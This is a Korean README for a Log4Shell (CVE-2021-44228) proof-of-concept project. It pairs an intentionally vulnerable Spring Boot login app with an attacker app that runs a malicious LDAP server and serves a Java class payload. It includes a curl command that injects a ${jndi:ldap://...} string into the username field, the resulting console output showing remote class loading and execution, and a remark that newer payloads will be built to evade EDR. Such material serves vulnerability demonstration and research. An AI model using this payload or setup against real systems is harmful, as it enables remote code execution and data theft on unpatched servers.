
log4j2 Log4Shell CVE-2021-44228 개념 증명
사용자 이름과 비밀번호가 있는 로그인 페이지를 제공하는 간단한 Spring Boot 애플리케이션입니다. POST로 /에 전송되면 사용자 이름을 기록합니다. 취약한 애플리케이션이 사용자 제공 입력을 기록할 필요는 없습니다. 취약한 log4j2 버전을 사용하는 액세스 로깅을 활성화하는 것만으로 충분합니다.
실행 방법:
cd exploitable
../mvnw -q spring-boot:run
기본적으로 8080 포트에서 수신 대기합니다. 브라우저에서 http://localhost:8080/ 에 접속하면 다음과 같은 화면이 표시됩니다:
pom.xml에서 다음 JVM 속성을 확인할 수 있습니다:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
이 속성은 이전 버전의 JDK에서는 필요하지 않습니다. 기본값은 JDK 11.0.1, 8u191, 7u201, 6u211에서 false로 변경되었습니다. 이 속성이 없어도 애플리케이션은 민감한 데이터를 유출할 수 있는 초기 LDAP 요청에 취약합니다.

두 가지 목적을 수행하는 해커 애플리케이션입니다:
실행 방법:
cd hacker
../mvnw -q spring-boot:run
pom.xml에서 취약한 애플리케이션으로 전송되는 기본 페이로드를 변경할 수 있습니다:
--class=SayHello가 기본값이며, 페이로드로 SayHello.class를 전송함을 의미합니다.
사용자 제공 입력(사용자 이름) 중 하나에 해커 LDAP 서버를 참조하여 취약한 애플리케이션에 curl 요청을 보냅니다:
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
취약한 애플리케이션 콘솔에서 다음과 같은 내용이 표시되어야 합니다:

${jndi:ldap://127.0.0.1:1389}로 전송했습니다.127.0.0.1:1389에 LDAP 요청을 수행합니다.dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.class 바이트를 반환합니다.getObjectInstance 메서드를 실행합니다.초기 LDAP 요청과 잠재적인 악용 Java 클래스 다운로드 이후에는 악용이 프로세스를 포크하거나 인터넷에 추가 연결을 할 필요가 없습니다. 일반적으로 이러한 종류의 악용은 EDR 제품 등으로 쉽게 탐지될 수 있습니다. 새로운 악용 페이로드는 탐지를 회피하기 위해 Java로 네이티브하게 구현될 것으로 예상됩니다.